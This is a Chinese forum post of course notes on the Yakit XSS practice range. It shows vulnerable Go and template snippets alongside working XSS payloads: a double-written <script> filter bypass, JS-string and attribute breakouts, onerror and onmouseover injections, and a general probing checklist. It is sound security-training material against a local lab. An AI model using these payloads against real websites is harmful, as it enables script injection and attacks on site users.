发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-Yakit 靶场(xss)4-7+Yakit 靶场(xss)8-13

技术分享 1159 0 2025-6-11 14:52:38
WEB渗透测试工程师系统班250303
25节课作业
实操课程内讲解的yakit靶场-xss
01.安全实体转义
安全实体转义是将特殊字符转换成对应的 HTML 实体,从而防止浏览器将其解释为 HTML 标签或脚本代码。常见的安全实体包括:
< 转义为 <
> 转义为 >
& 转义为 &
' 转义为 ' 或 '
" 转义为 "
通过对用户输入进行安全实体转义,即使用户输入的内容中包含特殊字符或 HTML 标签,也会被转义为普通文本,而不会被当作代码执行。
02.直接拼接导致 XSS 注入
如果直接拼接用户输入而没有进行适当的处理,将导致 XSS(跨站脚本攻击)注入的风险。XSS 攻击是一种利用网页应用程序对用户输入数据的不当处理,从而在用户浏览器上执行恶意脚本的攻击。
示例代码:
http://127.0.0.1:8787/xss/echo?name=admin
/*拼接后*/
<div>Hello admin</div>
此处的案例中后端代码直接将用户输入拼接后返回给浏览器,当插入 html 标签或 javascript 代码时浏览器将会执行。
攻击示例:#
http://127.0.0.1:8787/xss/echo?name=<script>alert("Hello Yakit")</script>
/*构造拼接后*/
<div>Hello <script>alert("Hello Yakit")</script></div>

03.不安全的过滤导致 XSS
如果不安全地过滤输入,特别是对<script>标签的不安全过滤,可能导致 XSS(跨站脚本攻击)漏洞。XSS 攻击是一种利用网页应用程序未正确过滤或转义用户输入的情况下,将恶意脚本注入到网页中并在用户浏览器上执行的攻击。
示例代码:#
// 定义⼀个 HTTP 处理器函数,⽤于处理 XSS 过滤问题
func(writer http.ResponseWriter, request *http.Request) {
// 从请求的 URL 中获取 "name" 参数
var name = request.URL.Query().Get("name")
// 构建⼀个不区分⼤⼩写的正则表达式,⽤于匹配 "<script>" 标签
scriptRegex := regexp.MustCompile("(?i)<script>")
// 替换所有匹配到的 "<script>" 标签为空字符串,防⽌脚本注⼊
name = scriptRegex.ReplaceAllString(name, "")
// 构建⼀个不区分⼤⼩写的正则表达式,⽤于匹配 "</script>" 结束标签
scriptEndRegex := regexp.MustCompile("(?i)</script>")
// 替换所有匹配到的 "</script>" 标签为空字符串,进⼀步防⽌脚本注⼊
name = scriptEndRegex.ReplaceAllString(name, "")
// ⽣成 HTML 输出,将处理后的 name 参数嵌⼊其中,并写⼊响应输出
writer.Write([]byte(fmt.Sprintf(`<html>Hello %v</html>`, name)))
}
攻击示例:#
可以通过双写<script>标签的方式来绕过,这样当<script>标签被过滤掉,剩下的组合起来刚好形成一个完整的 payload。
http://127.0.0.1:8787/xss/replace/nocase?name=<scr<script>ipt>alert("hello yakit")</scr</script>ipt>
#过滤后变成
<script>alert("Hello Yakit")</script>
04.XSS: 存在于 JS 代码中(字符串中)
XSS(跨站脚本攻击)可以存在于 JavaScript 代码中,特别是在字符串中,如果这些字符串未经适当的处理,直接嵌入到网页中。攻击者可以通过注入恶意的 JavaScript 代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。
示例代码:#
此案例中从 URL 中获取 name 的传参到 script 标签中
原码:
<div>
Here are photo for U! <br>
<script>console.info("Hello" + '')</script>
</div>
POC:')</script><script>alert(1)('
连接后变成:<script>console.info("Hello" + '')</script><script>alert(1)('')</script>
05.XSS: 存在于 JS 代码中(字符串中 2)
此案例与前一个类似,但此处是变量值未经适当的处理,直接嵌入到网页中。攻击者可以通过在变量值中传入恶意的 JavaScript 代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。
原码:<script>const name = "404";console.info("Hello" + `${name}`);</script>
POC:404</script><script>alert(1)//
连接后变成:<script>const name = "404</script><script>alert(1)//";console.info("Hello" + `${name}`);</script>
06.XSS: 存在于 JS 代码中(字符串模版中)
在 JS 代码中的字符串模版中,XSS 漏洞发生在使用字符串模版(``符号)来动态构造 HTML 或 JS 代码时,而未对用户输入进行充分转义或过滤。这使得恶意用户可以通过注入恶意代码来执行任意 JS 代码,从而实施 XSS 攻击
原码:<script>const name = "Admin";console.info("Hello" + `1: ${name}`);</script>
POC:</script><script>alert(1)//
连接后变成:<script>const name = "Admin";console.info("Hello" + `</script><script>alert(1)//: ${name}`);</script>
07.输出存在于 HTML 节点 on...属性中
这是一个关于跨站脚本攻击(XSS)的漏洞案例,涉及到在 HTML 节点的onclick属性中插入恶意脚本。
示例代码:#
在这个示例中,一个图片显示了一个onclick属性,其值从用户提供的输入中获取。攻击者可以构造恶意的代码,使其在用户点击图片时执行。
原码:
<div>
    Hello Visitor!
    <br>
    Here are photo for U! <br>
    <img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
</div>
POC:alert(1)
08.输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT)
本案例演示了一种 XSS 攻击方式,通过将恶意代码注入到 HTML 节点属性中(如 IMG 标签的 ALT 属性),但不在 on 属性中,从而绕过一些安全机制。
原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
POC:1%27><script>alert(1)</script>
09.进阶 1:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT)
这个案例是 XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于 HTML 节点属性中,但不再 on 属性中的漏洞类型。
原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
POC:1'onmouseover='alert(1)
10.进阶 2:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT)
这个案例是 XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于 HTML 节点属性中,但不再 on 属性中的漏洞类型。
原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
POC:eyJ2YWx1ZSI6InZhbHVlPTQwNCdvbm1vdXNlb3Zlcj0nYWxlcnQoYEhlbGxvIFlha2l0YCkgIn0=    base64解码后:{"value":"value=404'onmouseover='alert(`Hello Yakit`)"}
11.输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG SRC)
输出存在于 HTML 节点属性中,特别是在 <img> 标签的 src 属性中,是一种常见的 XSS 漏洞。攻击者可以通过在这些属性中注入恶意代码,从而在用户浏览网页时执行恶意脚本。
原码:<img style='width: 100px' alt='value' src="{{ .value }}" onclick='javascript:alert("Welcome CLICK ME!")'/>
POC:123"onerror="alert(1)
12.输出存在于 HTML 节点属性中,但是不再 on 属性中(HREF)
这个案例展示了一种输出存在于 HTML 节点属性中,位于 herf 属性中的 XSS(跨站脚本攻击)漏洞类型
原码:<a href="" target="_blank">Click ME to load IMG LOGO!</a>
POC:'onmousemove='alert(123)
13.输出存在于HTML节点on...属性中的部分代码属性
原码:<img style='width: 100px' src="/static/logo.png" onclick='javascript:alert({{ .code }})'/>
POC:)' onmousemove='(alert(123)


一、笔记标题:WEB渗透系统班-Yakit 靶场(xss)4-7+Yakit 靶场(xss)8-13

二、文章内容:

1. 课程内容概要

        主要知识点1:XSS注入实战
        主要知识点2:href可使用伪协议触发js
        主要知识点3:<script> 标签法
                             javascript: 伪协议

2.重点知识与细节

        概念解析
        概念1: 无
        概念2:
        关键步骤(XSS实战)
        步骤1:找输入点 - 所有能输入数据的地方。搜索框、留言板、登录框、URL参数(?q=xxx),隐藏表单、HTTP头(User-Agent、Referer)
        步骤2:试基础Payload - 检查是否执行JS
                    <script>alert(1)</script>          <!-- 直接执行? -->
                    '"><img src=x onerror=alert(1)>    <!-- 闭合标签触发 -->
                    javascript:alert(1)                <!-- URL里试试 -->
        步骤3:看输出位置 - 决定怎么攻击
                    在HTML里 → 直接插<script>或<img onerror>
                    在属性里 → 闭合标签:" onclick=alert(1) x="
                    在JS代码里 → 闭合字符串:";alert(1);//
        相关代码

3.实操练习 和 解析

如作业

4.个人总结

        本节课最大的收获是:学会了怎么打XSS的一些常见靶场
        仍然存在疑问的地方:暂无
        需要课后深入学习的内容:各种环境下的测试

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回